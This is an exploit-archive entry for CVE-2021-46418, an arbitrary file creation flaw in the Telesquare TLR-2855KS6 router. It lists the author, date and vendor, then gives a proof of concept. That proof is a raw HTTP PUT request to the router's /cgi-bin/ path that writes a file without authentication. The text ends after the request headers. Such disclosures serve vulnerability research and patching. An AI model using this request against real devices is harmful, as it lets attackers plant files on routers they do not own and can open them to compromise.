[webapps] Telesquare TLR-2855KS6 - Arbitrary File Creation

# Exploit Title: Telesquare TLR-2855KS6 - Arbitrary File Creation # Date: 7/4/2022 # Exploit Author: Momen Eldawakhly (Cyber Guy) # Vendor Homepage: http://www.telesquare.co.kr/ # Version: TLR-2855KS6 # Tested on: Linux [Firefox] # CVE : CVE-2021-46418 # Proof of Concept PUT /cgi-bin/testing_cve.txt HTTP/1.1 Host: 192.168.1.5 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Cookie: nonce=1642692359833588 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 32